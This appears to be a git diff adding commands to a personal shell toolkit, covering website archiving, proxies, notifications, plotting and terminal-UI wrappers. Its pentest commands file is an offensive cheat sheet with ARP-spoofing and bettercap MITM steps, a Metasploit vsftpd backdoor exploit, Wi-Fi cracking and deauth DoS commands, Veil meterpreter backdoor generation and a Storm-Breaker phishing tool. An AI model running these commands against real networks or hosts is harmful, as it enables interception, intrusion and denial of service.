".*\.(mp4|webm|ogg|mov|avi|mkv)(\?.*)?$" + - dtools network archive-website --shm-size 2gb --url 'https://www.niaid.nih.gov' --name niaid-backup --exclude '.*\.(mp4|webm|ogg|mov|avi|mkv|mpeg|tar|gz|zip|rar)(\?.*)?$' --workers 16 --wait-until domcontentloaded --behaviors 'autoplay,autofetch,siteSpecific,autoscroll' + - |- + # Serve the website locally on port 9090 + kiwix-serve --port 9090 myzimfile.zim + + - name: warc-2-zim + help: Convert a WARC to ZIM format for easier offline viewing using OpenZim's zimit + dependencies: + docker: Install with 'dtools install docker' + flags: + - long: --shm-size + help: The size of /dev/shm to allow the container to use + arg: shm_size + default: 2gb + - long: --url + arg: url + help: The URL to be crawled + required: true + - long: --name + arg: name + help: The name of the ZIM file + required: true + - long: --output + arg: output_directory + default: '/output' + completions: + - + - long: --limit + help: Limit capture to at most URLs + arg: limit + - long: --behaviors + help: >- + Control which browsertrix behaviors are ran + (defaults to 'autoplay,autofetch,siteSpecific', adding 'autoscroll' to the list is possible to automatically scroll the pages and fetch resources which are lazy loaded) + arg: behaviors + default: 'autoplay,autofetch,siteSpecific' + - long: --exclude + arg: exclude_regex + help: >- + Skip URLs that match the regex from crawling. Can be specified multiple times. + An example is '--exclude=|(\?q=|signup-landing\?|\?cid=)"', where URLs that contain either '?q=' or + 'signup-landing?' or '?cid=' will be excluded + - long: --workers + arg: workers + help: Number of crawl workers to run in parallel + - long: --wait-until + arg: wait_until + help: >- + Puppeteer setting for how long to wait for page to load. See https://github.com/puppeteer/puppeteer/blob/main/docs/api.md#pagegotourl-options + The default is 'load', but for static sites, '--wait-until domcontentloaded' may be used to speed up the crawl (to avoid waiting for ads to load for example). + default: 'load' + - long: --keep + help: If set, keep the WARC files in a temp directory inside the output directory + examples: + - dtools network warc-2-zim --url URL --name myzimfile + - |- + # Exclude all video files + dtools network warc-2-zim --url URL --name myzimfile --exclude ".*\.(mp4|webm|ogg|mov|avi|mkv)(\?.*)?$" + + - name: mermaid-api + help: Start a local API to generate Mermaid diagrams + dependencies: + docker: Install with 'dtools install docker' + args: + - name: port + help: The port to run the API on + default: '8087' + validate: integer + examples: + - |- + curl --location --request POST 'http://localhost:8087/generate' \ + --header 'Content-Type: text/plain' \ + --data-raw 'graph LR + + A-->B + B-->C + C-->D + C-->F + ' diff --git a/src/commands/network/proxy-with-nginx.sh b/src/commands/network/proxy-with-nginx.sh new file mode 100644 index 0000000..15504b0 --- /dev/null +++ b/src/commands/network/proxy-with-nginx.sh @@ -0,0 +1,42 @@ +# shellcheck disable=SC2154 +declare tcp_port="${args[--tcp-port]}" +# shellcheck disable=SC2154 +declare proxy_target_host="${args[--proxy-target-host]}" +# shellcheck disable=SC2154 +declare proxy_target_protocol="${args[--proxy-target-protocol]}" +# shellcheck disable=SC2155 +declare temp_config_file="$(mktemp)" + +# shellcheck disable=SC2064 +trap "rm -f $temp_config_file" EXIT + +cat <<-EOF >> "$temp_config_file" + # nginx.conf + worker_processes 1; + + events {} + + http { + server { + listen $tcp_port; + + location / { + proxy_pass $proxy_target_protocol://$proxy_target_host; + + # Forward the Host header so the remote API recognizes the request + proxy_set_header Host $proxy_target_host; + + # Optional: standard reverse proxy headers + proxy_set_header X-Real-IP \$remote_addr; + proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for; + + # Enable SNI (important for HTTPS targets) + proxy_ssl_server_name on; + } + } + } + EOF + + +yellow "Press 'Ctrl-c' to stop proxying" +sudo nginx -p . -g 'daemon off;' -c "$temp_config_file" diff --git a/src/commands/network/tcp-proxy.sh b/src/commands/network/tcp-proxy.sh new file mode 100644 index 0000000..4fe0b2c --- /dev/null +++ b/src/commands/network/tcp-proxy.sh @@ -0,0 +1,10 @@ +# shellcheck disable=SC2154 +declare tcp_host="${args[--tcp-host]}" +# shellcheck disable=SC2154 +declare tcp_port="${args[--tcp-port]}" +# shellcheck disable=SC2154 +declare proxy_target_host="${args[--proxy-target-host]}" +# shellcheck disable=SC2154 +declare proxy_target_port="${args[--proxy-target-port]}" + +sudo simpleproxy -L "${tcp_host}:${tcp_port}" -R "${proxy_target_host}:${proxy_target_port}" -v diff --git a/src/commands/network/warc-2-zim.sh b/src/commands/network/warc-2-zim.sh new file mode 100644 index 0000000..504d53a --- /dev/null +++ b/src/commands/network/warc-2-zim.sh @@ -0,0 +1,35 @@ +# shellcheck disable=SC2154 +declare url="${args[--url]}" +# shellcheck disable=SC2154 +declare name="${args[--name]}" +# shellcheck disable=SC2154 +declare output="${args[--output]}" +# shellcheck disable=SC2154 +declare limit="${args[--limit]}" +# shellcheck disable=SC2154 +declare behaviors="${args[--behaviors]}" +# shellcheck disable=SC2154 +declare exclude="${args[--exclude]}" +# shellcheck disable=SC2154 +declare workers="${args[--workers]}" +# shellcheck disable=SC2154 +declare wait_until="${args[--wait-until]}" +# shellcheck disable=SC2154 +declare keep="${args[--keep]}" +# shellcheck disable=SC2154 +declare shm_size="${args[--shm-size]}" + +docker run \ + --rm \ + --shm-size="$shm_size" \ + -v "$output":/output \ + ghcr.io/openzim/zimit warc2zim \ + --url "$url" \ + --name "$name" \ + --output "$output" \ + "${limit:+--limit "$limit"}" \ + --behaviors "$behaviors" \ + "${exclude:+--exclude "$exclude"}" \ + "${workers:+--workers "$workers"}" \ + --wait-until "$wait_until" \ + "${keep:+--keep}" diff --git a/src/commands/ntfy/ntfy_commands.yml b/src/commands/ntfy/ntfy_commands.yml new file mode 100644 index 0000000..dc9acef --- /dev/null +++ b/src/commands/ntfy/ntfy_commands.yml @@ -0,0 +1,29 @@ +name: ntfy +help: ntfy commands for easy reference +group: Ntfy +expose: always +dependencies: + ntfy: Ensure ntfy is installed and configured (see 'https://docs.ntfy.sh/install/') + +commands: + - name: subscribe + dependencies: + mpg321: Install with 'brew install mpg321' + help: >- + Subscribe to the specified ntfy topic and optionally play a sound + whenever a message is received. + args: + - name: topic + help: The name of the ntfy topic to subscribe to + default: "alerts" + flags: + - long: --sound + short: -s + arg: sound + help: The mp3 sound file to play when a message is received + examples: + - dtools ntfy subscribe vpn --sound ~/Music/notification-sounds/notify.mp3 + - ntfy sub topic 'echo "$raw" && mpg321 -q ~/Music/notification-sounds/notify.mp3' + + - name: reference + help: Open the ntfy message publishing reference page in your default browser diff --git a/src/commands/ntfy/reference.sh b/src/commands/ntfy/reference.sh new file mode 100644 index 0000000..46691ea --- /dev/null +++ b/src/commands/ntfy/reference.sh @@ -0,0 +1,2 @@ +cmd="$(get_opener) +$cmd "https://docs.ntfy.sh/publish/#message-title" > /dev/null 2>&1 & disown diff --git a/src/commands/ntfy/subscribe.sh b/src/commands/ntfy/subscribe.sh new file mode 100644 index 0000000..9e61457 --- /dev/null +++ b/src/commands/ntfy/subscribe.sh @@ -0,0 +1,8 @@ +# shellcheck disable=SC2154 +declare sound="${args[--sound]}" + +if [[ -z $sound ]]; then + ntfy sub "${args[topic]}" 'echo "$raw"' +else + ntfy sub "${args[topic]}" 'echo "$raw" && mpg321 -q ~/Music/notification-sounds/notify.mp3' +fi \ No newline at end of file diff --git a/src/commands/pentest/aircrack-ng.sh b/src/commands/pentest/aircrack-ng.sh new file mode 100644 index 0000000..adc1105 --- /dev/null +++ b/src/commands/pentest/aircrack-ng.sh @@ -0,0 +1 @@ +aircrack-ng diff --git a/src/commands/pentest/arpspoof.sh b/src/commands/pentest/arpspoof.sh new file mode 100644 index 0000000..0a2fcaa --- /dev/null +++ b/src/commands/pentest/arpspoof.sh @@ -0,0 +1 @@ +arpspoof diff --git a/src/commands/pentest/bettercap.sh b/src/commands/pentest/bettercap.sh new file mode 100644 index 0000000..f9e926f --- /dev/null +++ b/src/commands/pentest/bettercap.sh @@ -0,0 +1 @@ +bettercap diff --git a/src/commands/pentest/crunch.sh b/src/commands/pentest/crunch.sh new file mode 100644 index 0000000..4175a10 --- /dev/null +++ b/src/commands/pentest/crunch.sh @@ -0,0 +1 @@ +crunch diff --git a/src/commands/pentest/ifconfig.sh b/src/commands/pentest/ifconfig.sh new file mode 100644 index 0000000..f590c4c --- /dev/null +++ b/src/commands/pentest/ifconfig.sh @@ -0,0 +1 @@ +ifconfig diff --git a/src/commands/pentest/maltego.sh b/src/commands/pentest/maltego.sh new file mode 100644 index 0000000..81f19c4 --- /dev/null +++ b/src/commands/pentest/maltego.sh @@ -0,0 +1 @@ +maltego diff --git a/src/commands/pentest/msfconsole.sh b/src/commands/pentest/msfconsole.sh new file mode 100644 index 0000000..892d34c --- /dev/null +++ b/src/commands/pentest/msfconsole.sh @@ -0,0 +1 @@ +msfconsole diff --git a/src/commands/pentest/netdiscover.sh b/src/commands/pentest/netdiscover.sh new file mode 100644 index 0000000..4a5eb2a --- /dev/null +++ b/src/commands/pentest/netdiscover.sh @@ -0,0 +1 @@ +netdiscover diff --git a/src/commands/pentest/ngrok.sh b/src/commands/pentest/ngrok.sh new file mode 100644 index 0000000..5bcdfd0 --- /dev/null +++ b/src/commands/pentest/ngrok.sh @@ -0,0 +1 @@ +ngrok diff --git a/src/commands/pentest/nmap.sh b/src/commands/pentest/nmap.sh new file mode 100644 index 0000000..733811f --- /dev/null +++ b/src/commands/pentest/nmap.sh @@ -0,0 +1 @@ +nmap diff --git a/src/commands/pentest/pentest_commands.yml b/src/commands/pentest/pentest_commands.yml new file mode 100644 index 0000000..ef6f262 --- /dev/null +++ b/src/commands/pentest/pentest_commands.yml @@ -0,0 +1,141 @@ +name: pentest +help: Pentest commands (Documentation only) +group: Pentest +expose: always + +commands: + - name: maltego + help: A social engineering strategy planning and reconnaissance tool + dependencies: + maltego: See 'https://www.maltego.com/downloads/' + + - name: ifconfig + help: View and modify interfaces (Debian-based OSes only) + filters: + - debian_based_os + examples: + - |- + # Change local MAC + ifconfig wlan0 down && ifconfig wlan0 hw ether 00:11:22:33:44:55 + - |- + # Set wlan0 to monitor mode + ifconfig wlan0 down && ifconfig wlan0 mode monitor + + - name: netdiscover + help: Scan the network for devices (Debian-based OSes only) + filters: + - debian_based_os + dependencies: + netdiscover: Install with 'sudo apt install netdiscover' + examples: + - netdiscover -i eth0 -r 10.0.2.0/24 -c 10 + + - name: nmap + help: Map the network + dependencies: + nmap: See 'https://nmap.org/download' + examples: + - nmap 10.0.2.0/24 + - |- + # Scan target host for open ports + # and services + nmap -v -sS -A -T4 10.0.2.15 + + - name: arpspoof + help: Perform arp poisoning (Debian-based OSes only) + dependencies: + arpspoof: Install with 'sudo apt install dsniff' + filters: + - debian_based_os + examples: + - |- + # Tell the target that we are the router + arpspoof -i eth0 -t 10.0.2.6 10.0.2.1 + - |- + # Tell the router that we are the target + arpspoof -i eth0 -t 10.0.2.1 10.0.2.6 + + - name: bettercap + help: Analyze network data + dependencies: + bettercap: See 'https://www.bettercap.org/project/installation/' + examples: |- + # MITM attack + sudo bettercap wlp2s0 + set arp.spoof.fullduplex true + set arp.spoof.internal true + set arp.spoof.targets 10.0.2.6 + arp.spoof on + net.sniff on # Sniff packets + + - name: msfconsole + help: Metasploit Framework for executing known exploits against targets + dependencies: + msfconsole: See 'https://www.metasploit.com/download' + examples: |- + # Exploit FTP 2.3.4 backdoor + msfconsole + use exploit/unix/ftp/vsftpd_234_backdoor + show options + set rhosts 192.168.0.105 + show targets + set target 0 + exploit -j -z + sessions -l + sessions 1 + background + + - name: aircrack-ng + help: Wireless network password cracking + dependencies: + aircrack-ng: See 'https://www.aircrack-ng.org/doku.php?id=install_aircrack' + examples: |- + airmon-ng start wlan0 # Set wlan0 to monitor mode + airodump-ng wlan0 # Gather data to find target + airodump-ng --channel 12 --bssid 00:11:22:33:44:55 --write airodump_dump mon0 # Gather data for specific target network + + # WPA + aircrack-ng airodump_dump.cap -w wordlist.txt + + # WEP + aircrack-ng airodump_dump.cap + aireplay-ng --fakeauth 0 -a 00:11:22:33:44:55 -h 22:44:66:88:00:BB # Not enough IV's? Fake authentication with network + aireplay-ng --arpreplay -b 00:11:22:33:44:55 -h 22:44:66:88:00:BB # Then replay ARPs to gather more IV's + + # DOS + aireplay-ng --deauth 10000 -a 00:11:22:33:44:55 mon0 # Force network-wide deauth to trigger a handshake you can capture + aireplay-ng --deauth 1000 -a 00:11:22:33:44:55 -c 22:44:66:88:00:11 mon0 # Force a deauth against a specific client on network to capture handshake + + - name: crunch + help: Generate brute-force passwords wordlist with some constraints. Useful if you have some idea of what the password is already. + dependencies: + crunch: See 'https://ciphrexlabs.com/tcontent/crunch-the-all-in-one-wordlist-generator' + examples: + - crunch 6 6 0123456789abcdef -o wordlist.txt + + - name: veil + help: Generate backdoor binaries using known exploits + examples: |- + # Create a meterpreter TCP backdoor + cd /opt/Veil && python3 Veil.py + use 1 + list + use 7 + set LHOST 10.0.2.4 + generate + + - name: ngrok + help: Free public load balancing to direct traffic to your local system + dependencies: + ngrok: See 'https://ngrok.com/download' + examples: + - |- + # Start an ngrok LB pointing to localhost:2525 + ngrok http 2525 + + - name: storm-breaker + help: Generates links to a locally hosted website to collect user info + dependencies: + stormbreaker: See 'https://github.com/ultrasecurity/Storm-Breaker' + examples: + - cd /opt/Storm-Breaker && sudo python3 st.py diff --git a/src/commands/pentest/storm-breaker.sh b/src/commands/pentest/storm-breaker.sh new file mode 100644 index 0000000..616369b --- /dev/null +++ b/src/commands/pentest/storm-breaker.sh @@ -0,0 +1 @@ +cd /opt/Storm-Breaker && sudo python3 st.py diff --git a/src/commands/pentest/veil.sh b/src/commands/pentest/veil.sh new file mode 100644 index 0000000..158b05d --- /dev/null +++ b/src/commands/pentest/veil.sh @@ -0,0 +1 @@ +cd /opt/Veil && python3 Veil.py diff --git a/src/commands/play-mp3.sh b/src/commands/play-mp3.sh new file mode 100644 index 0000000..a27edf6 --- /dev/null +++ b/src/commands/play-mp3.sh @@ -0,0 +1,2 @@ +# shellcheck disable=SC2154 +mpg321 -q "${args[sound]}" diff --git a/src/commands/plot.sh b/src/commands/plot.sh new file mode 100644 index 0000000..7113907 --- /dev/null +++ b/src/commands/plot.sh @@ -0,0 +1,49 @@ +# shellcheck disable=SC2154 +declare file="${args[--file]}" +declare type="${args[--type]}" +declare use_gui="${args[--gui]}" +declare stack_vertically="${args[--stack-vertically]}" +declare use_multiplot="${args[--multiplot]}" +declare use_loki="${args[--loki]}" + +trap 'rm /dev/shm/tempPlotFile' EXIT + +if [[ -z $file ]]; then + file='-' +fi + +cat "$file" > /dev/shm/tempPlotFile +if [[ $use_loki == "1" ]]; then + loki -m claude:claude-sonnet-4-5-20250929 -e Create a plot of the given values using gnuplot < /dev/shm/tempPlotFile + exit +fi + +multiplot=$(if [[ $(head -1 /dev/shm/tempPlotFile) =~ [0-9]+.+[0-9]+ ]]; then echo "true"; else echo "false"; fi) + +if [[ $use_multiplot == 1 && $multiplot != "true" ]]; then + red_bold "Multiple columns of data are required when using '--multiplot'" + exit 1 +fi + +if [[ $type == "line" ]]; then + if [[ $use_gui == 1 ]]; then + gnuplot -e "set yrange [0:]; plot '/dev/shm/tempPlotFile' with lines" --persist + else + gnuplot -e "set terminal dumb; set yrange [0:]; plot '/dev/shm/tempPlotFile' with lines" + fi +elif [[ $type == "bar" ]]; then + if [[ $use_gui == 1 ]]; then + if [[ $use_multiplot == 1 ]]; then + if [[ $stack_vertically == 1 ]]; then + gnuplot -e "set multiplot layout 2,1; set style fill solid; set boxwidth 0.5; set yrange [0:]; plot '/dev/shm/tempPlotFile' using 1 with boxes; plot '/dev/shm/tempPlotFile' using 2 with boxes; unset multiplot" --persist + else + gnuplot -e "set style fill solid; set boxwidth 0.5; set yrange [0:]; plot '/dev/shm/tempPlotFile' using (\$0-0.25):1 with boxes ls 1, '/dev/shm/tempPlotFile' using (\$0+0.25):2 with boxes ls 2" --persist + fi + else + gnuplot -e "set style fill solid; set boxwidth 0.5; set yrange [0:]; plot '/dev/shm/tempPlotFile' with boxes" --persist + fi + else + gnuplot -e "set terminal dumb; set yrange [0:]; plot '/dev/shm/tempPlotFile' with boxes" + fi +fi +rm /dev/shm/tempPlotFile diff --git a/src/commands/random-float.sh b/src/commands/random-float.sh new file mode 100644 index 0000000..274fd91 --- /dev/null +++ b/src/commands/random-float.sh @@ -0,0 +1,11 @@ +# shellcheck disable=SC2154 +declare min="${args[--min]}" +declare max="${args[--max]}" +declare precision="${args[--precision]}" + +awk -v min="$min" -v max="$max" -v precision="$precision" -f - <<-EOF + BEGIN { + srand(); + printf "%1.*f\n", precision, min + (max-min) * rand() + } + EOF diff --git a/src/commands/random-int.sh b/src/commands/random-int.sh new file mode 100644 index 0000000..360c50d --- /dev/null +++ b/src/commands/random-int.sh @@ -0,0 +1,5 @@ +# shellcheck disable=SC2154 +declare min="${args[--min]}" +declare max="${args[--max]}" + +echo "$((SRANDOM % (max - min + 1) + min))" diff --git a/src/commands/real-time-plot.sh b/src/commands/real-time-plot.sh new file mode 100644 index 0000000..470f1cd --- /dev/null +++ b/src/commands/real-time-plot.sh @@ -0,0 +1,7 @@ +if ! (command -v feedgnuplot > /dev/null 2>&1); then + wget https://raw.githubusercontent.com/dkogan/feedgnuplot/master/bin/feedgnuplot + chmod +x feedgnuplot + sudo mv feedgnuplot /usr/local/bin/ +fi + + feedgnuplot --lines --stream --xlen ${1:-30} --xlabel 'Second' --terminal 'dumb 180,40' 2> /dev/null diff --git a/src/commands/record-shell.sh b/src/commands/record-shell.sh new file mode 100644 index 0000000..483e2ec --- /dev/null +++ b/src/commands/record-shell.sh @@ -0,0 +1,28 @@ +# shellcheck disable=SC2154 +declare output_file="${args[output_file]}" +declare cast_file="${output_file}.cast" +declare gif_file="${output_file}.gif" +declare speed="${args[--speed]}" +declare no_conversion="${args[--no-conversion]}" + +yellow "Starting recording... Press Ctrl-D to finish the recording." +asciinema rec -c "bash --norc --noprofile -c 'PS1=\"\$ \" bash --norc --noprofile'" "$cast_file" + +if [[ ! -f $cast_file ]]; then + red_bold "Error: Recording failed or was cancelled" + exit 1 +fi + +sed -i '$d' "$cast_file" + +if [[ $no_conversion != "1" ]]; then + yellow "Converting to GIF..." + agg --speed "$speed" "$cast_file" "$gif_file" + + yellow "Cleaning up ${cast_file}..." + rm "$cast_file" + + green "Successfully created $gif_file" +else + green "Successfully created $cast_file" +fi diff --git a/src/commands/start-simple-server.sh b/src/commands/start-simple-server.sh new file mode 100644 index 0000000..386a129 --- /dev/null +++ b/src/commands/start-simple-server.sh @@ -0,0 +1,9 @@ +# shellcheck disable=SC2154 +declare port="${args[--port]}" + +yellow "Starting a server on port '$port'..." +yellow_bold "Stop the server with 'Ctrl+c'" + +while :; do + printf 'HTTP/1.1 200 OK\r\n\r\n' | nc -Nl "$port" +done diff --git a/src/commands/tui/ai/ai_commands.yml b/src/commands/tui/ai/ai_commands.yml new file mode 100644 index 0000000..9ae4fdf --- /dev/null +++ b/src/commands/tui/ai/ai_commands.yml @@ -0,0 +1,9 @@ +name: ai +help: TUIs for AI related tooling +group: AI TUIs + +commands: + - name: elia + help: A TUI for interacting with LLMs + dependencies: + elia: See 'https://github.com/darrenburns/elia' diff --git a/src/commands/tui/ai/elia.sh b/src/commands/tui/ai/elia.sh new file mode 100644 index 0000000..a03b393 --- /dev/null +++ b/src/commands/tui/ai/elia.sh @@ -0,0 +1 @@ +elia diff --git a/src/commands/tui/data/data_commands.yml b/src/commands/tui/data/data_commands.yml new file mode 100644 index 0000000..d4e478a --- /dev/null +++ b/src/commands/tui/data/data_commands.yml @@ -0,0 +1,29 @@ +name: data +help: TUIs to query or analyze data +group: Data TUIs + +commands: + - name: db + help: Database management (gobang) + dependencies: + gobang: See 'https://github.com/TaKO8Ki/gobang' + + - name: explorer + help: A terminal interface for exploring and arranging tabular data. (visidata) + dependencies: + visidata: See 'https://www.visidata.org/' + + - name: database-ide + help: The SQL IDE for your terminal. (harlequin) + dependencies: + harlequin: See 'https://harlequin.sh' + + - name: kafka + help: A Kafka cluster query IDE (yozefu) + dependencies: + yozefu: See 'https://github.com/MAIF/yozefu' + + - name: jupyter-notebook + help: Jupyter Notebook in your terminal. (euporie-notebook, euporie-preview, and euporie-console) + dependencies: + euporie-notebook: See 'https://euporie.readthedocs.io/en/latest/' diff --git a/src/commands/tui/data/database-ide.sh b/src/commands/tui/data/database-ide.sh new file mode 100644 index 0000000..1b400d5 --- /dev/null +++ b/src/commands/tui/data/database-ide.sh @@ -0,0 +1 @@ +harlequin diff --git a/src/commands/tui/data/db.sh b/src/commands/tui/data/db.sh new file mode 100644 index 0000000..e8bfa25 --- /dev/null +++ b/src/commands/tui/data/db.sh @@ -0,0 +1 @@ +gobang \ No newline at end of file diff --git a/src/commands/tui/data/explorer.sh b/src/commands/tui/data/explorer.sh new file mode 100644 index 0000000..00a938e --- /dev/null +++ b/src/commands/tui/data/explorer.sh @@ -0,0 +1 @@ +visidata diff --git a/src/commands/tui/data/jupyter-notebook.sh b/src/commands/tui/data/jupyter-notebook.sh new file mode 100644 index 0000000..4e09ba8 --- /dev/null +++ b/src/commands/tui/data/jupyter-notebook.sh @@ -0,0 +1 @@ +euporie-notebook diff --git a/src/commands/tui/data/kafka.sh b/src/commands/tui/data/kafka.sh new file mode 100644 index 0000000..5eff0e3 --- /dev/null +++ b/src/commands/tui/data/kafka.sh @@ -0,0 +1 @@ +yozf diff --git a/src/commands/tui/dev-help/dev_help_commands.yml b/src/commands/tui/dev-help/dev_help_commands.yml new file mode 100644 index 0000000..cc98fed --- /dev/null +++ b/src/commands/tui/dev-help/dev_help_commands.yml @@ -0,0 +1,14 @@ +name: dev-help +help: TUIs for helping devs get help or solve problems +group: Dev Help TUIs + +commands: + - name: stack-overflow + help: StackOverflow Query Engine (so) + dependencies: + so: See 'https://github.com/samtay/so' + + - name: wiki + help: Wikipedia TUI (wiki-tui) + dependencies: + wiki-tui: See 'https://wiki-tui.net/latest/' diff --git a/src/commands/tui/dev-help/stack-overflow.sh b/src/commands/tui/dev-help/stack-overflow.sh new file mode 100644 index 0000000..04a0a5c --- /dev/null +++ b/src/commands/tui/dev-help/stack-overflow.sh @@ -0,0 +1 @@ +so \ No newline at end of file diff --git a/src/commands/tui/dev-help/wiki.sh b/src/commands/tui/dev-help/wiki.sh new file mode 100644 index 0000000..6b05abb --- /dev/null +++ b/src/commands/tui/dev-help/wiki.sh @@ -0,0 +1 @@ +wiki-tui \ No newline at end of file diff --git a/src/commands/tui/development/actions.sh b/src/commands/tui/development/actions.sh new file mode 100644 index 0000000..f2d632d --- /dev/null +++ b/src/commands/tui/development/actions.sh @@ -0,0 +1 @@ +gama diff --git a/src/commands/tui/development/development_commands.yml b/src/commands/tui/development/development_commands.yml new file mode 100644 index 0000000..56f3827 --- /dev/null +++ b/src/commands/tui/development/development_commands.yml @@ -0,0 +1,90 @@ +name: development +help: TUIs for development related tools +group: Development TUIs + +commands: + - name: git + help: Fast terminal UI for git (gitui) + dependencies: + gitui: See 'https://github.com/gitui-org/gitui' + + - name: jira + help: Jira terminal UI (jirust) + dependencies: + jirust: See 'https://github.com/Code-Militia/jirust' + + - name: readme + help: Render markdown on the CLI (glow) + dependencies: + glow: See 'https://github.com/charmbracelet/glow' + + - name: tail-logs + help: Log file navigator (lnav) + dependencies: + lnav: See 'https://lnav.readthedocs.io/en/latest/' + + - name: drft + help: View a git diff file-by-file with a tree viewer (drft) + dependencies: + drft: See 'https://codeberg.org/nightsail/drft' + examples: + - git diff | drft + + - name: wrkflw + help: Validate and execute GitHub workflows locally (wrkflw) + dependencies: + wrkflw: See 'https://github.com/bahdotsh/wrkflw' + + - name: gama + help: Manage your GitHub Actions from the terminal (gama) + dependencies: + actions: See 'https://github.com/termkit/gama' + + - name: ecs + help: Easily manage AWS ECS resources (e1s) + dependencies: + e1s: See 'https://github.com/keidarcy/e1s' + + - name: openapi + help: A TUI for viewing an OpenAPI spec like Swagger UI (openapi-tui) + dependencies: + openapi-tui: See 'https://github.com/zaghaghi/openapi-tui' + + - name: gcs + help: A TUI for browsing Google Cloud Storage (burf) + dependencies: + burf: See 'https://github.com/razeghi71/burf' + args: + - name: gcs_url + help: The GCS URL to browse + required: true + examples: + - burf gs://prod + + - name: prs + help: View GitHub pull requests in a TUI (prs) + dependencies: + prs: See 'https://github.com/dhth/prs' + + - name: s3 + help: TUI explorer application for Amazon S3 (stu) + dependencies: + stu: See 'https://lusingander.github.io/stu/' + + - name: terraform + help: A terraform and terragrunt TUI (pug) + dependencies: + pug: See 'https://github.com/leg100/pug' + flags: + - long: --terraform + help: Use Terraform instead of Terragrunt + + - name: journal + help: View and manage systemd journal logs (lazyjournal) + dependencies: + lazyjournal: See 'https://github.com/Lifailon/lazyjournal' + + - name: multi-host-log-viewer + help: Fast, remote-first, multi-host TUI log viewer with timeline histogram and no central server (nerdlog) + dependencies: + nerdlog: See 'https://github.com/dimonomid/nerdlog' diff --git a/src/commands/tui/development/drft.sh b/src/commands/tui/development/drft.sh new file mode 100644 index 0000000..c5c0154 --- /dev/null +++ b/src/commands/tui/development/drft.sh @@ -0,0 +1 @@ +drft diff --git a/src/commands/tui/development/ecs.sh b/src/commands/tui/development/ecs.sh new file mode 100644 index 0000000..e24d531 --- /dev/null +++ b/src/commands/tui/development/ecs.sh @@ -0,0 +1 @@ +e1s diff --git a/src/commands/tui/development/gama.sh b/src/commands/tui/development/gama.sh new file mode 100644 index 0000000..dd3de56 --- /dev/null +++ b/src/commands/tui/development/gama.sh @@ -0,0 +1,5 @@ +echo "# This file is located at 'src/commands/tui/development/gama.sh'." +echo "# It contains the implementation for the 'dtools tui development gama' command." +echo "# The code you write here will be wrapped by a function named 'dtools_tui_development_gama_command()'." +echo "# Feel free to edit this file; your changes will persist when regenerating." +inspect_args diff --git a/src/commands/tui/development/gcs.sh b/src/commands/tui/development/gcs.sh new file mode 100644 index 0000000..e3833f2 --- /dev/null +++ b/src/commands/tui/development/gcs.sh @@ -0,0 +1,4 @@ +# shellcheck disable=SC2154 +declare gcs_url="${args[gcs_url]}" + +burf "$gcs_url" diff --git a/src/commands/tui/development/git.sh b/src/commands/tui/development/git.sh new file mode 100644 index 0000000..892142e --- /dev/null +++ b/src/commands/tui/development/git.sh @@ -0,0 +1 @@ +gitui \ No newline at end of file diff --git a/src/commands/tui/development/jira.sh b/src/commands/tui/development/jira.sh new file mode 100644 index 0000000..5a3e874 --- /dev/null +++ b/src/commands/tui/development/jira.sh @@ -0,0 +1 @@ +jirust diff --git a/src/commands/tui/development/journal.sh b/src/commands/tui/development/journal.sh new file mode 100644 index 0000000..d111bd1 --- /dev/null +++ b/src/commands/tui/development/journal.sh @@ -0,0 +1 @@ +lazyjournal diff --git a/src/commands/tui/development/multi-host-log-viewer.sh b/src/commands/tui/development/multi-host-log-viewer.sh new file mode 100644 index 0000000..1e23b0c --- /dev/null +++ b/src/commands/tui/development/multi-host-log-viewer.sh @@ -0,0 +1 @@ +nerdlog diff --git a/src/commands/tui/development/openapi.sh b/src/commands/tui/development/openapi.sh new file mode 100644 index 0000000..e2aa95b --- /dev/null +++ b/src/commands/tui/development/openapi.sh @@ -0,0 +1 @@ +openapi-tui diff --git a/src/commands/tui/development/prs.sh b/src/commands/tui/development/prs.sh new file mode 100644 index 0000000..174c38f --- /dev/null +++ b/src/commands/tui/development/prs.sh @@ -0,0 +1 @@ +prs diff --git a/src/commands/tui/development/readme.sh b/src/commands/tui/development/readme.sh new file mode 100644 index 0000000..1b74986 --- /dev/null +++ b/src/commands/tui/development/readme.sh @@ -0,0 +1 @@ +glow \ No newline at end of file diff --git a/src/commands/tui/development/s3.sh b/src/commands/tui/development/s3.sh new file mode 100644 index 0000000..ffcaa95 --- /dev/null +++ b/src/commands/tui/development/s3.sh @@ -0,0 +1 @@ +stu diff --git a/src/commands/tui/development/tail-logs.sh b/src/commands/tui/development/tail-logs.sh new file mode 100644 index 0000000..bf39221 --- /dev/null +++ b/src/commands/tui/development/tail-logs.sh @@ -0,0 +1 @@ +lnav \ No newline at end of file diff --git a/src/commands/tui/development/terraform.sh b/src/commands/tui/development/terraform.sh new file mode 100644 index 0000000..6b4fe11 --- /dev/null +++ b/src/commands/tui/development/terraform.sh @@ -0,0 +1,6 @@ +# shellcheck disable=SC2154 +if [[ "${args[--terraform]}" == 1 ]]; then + pug +else + pug --program=terragrunt +fi diff --git a/src/commands/tui/development/wrkflw.sh b/src/commands/tui/development/wrkflw.sh new file mode 100644 index 0000000..b6613e4 --- /dev/null +++ b/src/commands/tui/development/wrkflw.sh @@ -0,0 +1 @@ +wrkflw diff --git a/src/commands/tui/docker/docker-layer-analyzer.sh b/src/commands/tui/docker/docker-layer-analyzer.sh new file mode 100644 index 0000000..1bc5169 --- /dev/null +++ b/src/commands/tui/docker/docker-layer-analyzer.sh @@ -0,0 +1 @@ +dive diff --git a/src/commands/tui/docker/docker.sh b/src/commands/tui/docker/docker.sh new file mode 100644 index 0000000..4e0097f --- /dev/null +++ b/src/commands/tui/docker/docker.sh @@ -0,0 +1 @@ +lazydocker \ No newline at end of file diff --git a/src/commands/tui/docker/docker_commands.yml b/src/commands/tui/docker/docker_commands.yml new file mode 100644 index 0000000..e533538 --- /dev/null +++ b/src/commands/tui/docker/docker_commands.yml @@ -0,0 +1,19 @@ +name: docker +help: TUIs for Docker related tools +group: Docker TUIs + +commands: + - name: docker + help: Manage local Docker (lazydocker) + dependencies: + lazydocker: See 'https://github.com/jesseduffield/lazydocker' + + - name: docker-layer-analyzer + help: A tool for exploring a docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image. (dive) + dependencies: + dive: See 'https://github.com/wagoodman/dive' + + - name: kubernetes + help: Manage your Kubernetes cluster (k9s) + dependencies: + k9s: See 'https://github.com/derailed/k9s' \ No newline at end of file diff --git a/src/commands/tui/docker/kubernetes.sh b/src/commands/tui/docker/kubernetes.sh new file mode 100644 index 0000000..6b15b97 --- 